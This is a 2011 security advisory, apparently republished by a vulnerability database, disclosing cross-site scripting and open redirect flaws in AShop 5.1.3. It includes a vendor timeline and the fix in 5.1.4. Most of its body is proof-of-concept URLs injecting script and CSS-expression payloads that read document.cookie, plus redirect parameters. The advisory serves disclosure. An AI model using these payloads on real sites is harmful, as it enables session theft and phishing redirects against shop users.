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securityvulnsSecurityvulnsSECURITYVULNS:DOC:27287
HistoryNov 11, 2011 - 12:00 a.m.

Multiple security vulnerabilities in AShop

2011-11-1100:00:00
vulners.com
24

Advisory: Multiple security vulnerabilities in AShop
Advisory ID: INFOSERVE-ADV2011-02
Author: Stefan Schurtz
Contact: [email protected]
Affected Software: Successfully tested on AShop513
Vendor URL: http://www.ashopsoftware.com/
Vendor Status: fixed in Version 5.1.4

==========================
Vulnerability Description:

AShop is prone to multiple security vulnerabilities.

==================
PoC-Exploit

Cross-Site-Scripting

IE8

http://<target>/ashop/?'"<script>alert(document.cookie)</script>
http://<target>/ashop/index.php?'"<script>alert(document.cookie)</script>
http://<target>/ashop/picture.php?picture=" stYle=x:expre/**/ssion(alert(document.cookie)) ns="
http://<target>/ashop/index.php?language='"<script>alert(document.cookie)</script>

FF 7.1

http://<target>/ashop/index.php?searchstring=1&showresult=true&exp='"</script><script>alert(666);</script>&resultpage=&categories=off&msg=&search=index.php&shop=1
http://<target>/ashop/catalogue.php?cat=3&exp=3&shop=3&resultpage='"</script><script>alert(document.cookie)</script>&msg=
http://<target>/ashop/catalogue.php?cat=3&exp=3&shop=3&resultpage=1&msg='"</script><script>alert(document.cookie)</script>
http://<target>/ashop/basket.php?cat=0&sid='"</script><script>alert(document.cookie)</script>&shop=1&payoption=3

Open Redirection

http://<target>/ashop/language.php?language=sv&redirect=http://www.google.com
http://<target>/ashop/currency.php?currency=aud&redirect=http://www.google.com
http://<target>/ashop/currency.php?redirect=http://www.google.com

=========
Solution:

Upgrade to the latest Version 5.1.4

====================
Disclosure Timeline:

04-Nov-2011 - informed vendor by contact form
08-Nov-2011 - second contact attempt
09-Nov-2011 - vendor fix

========
Credits:

Vulnerabilities found and advisory written by the INFOSERVE Security Team

===========
References:

http://www.ashopsoftware.com/
http://sourceforge.net/projects/ashop/files/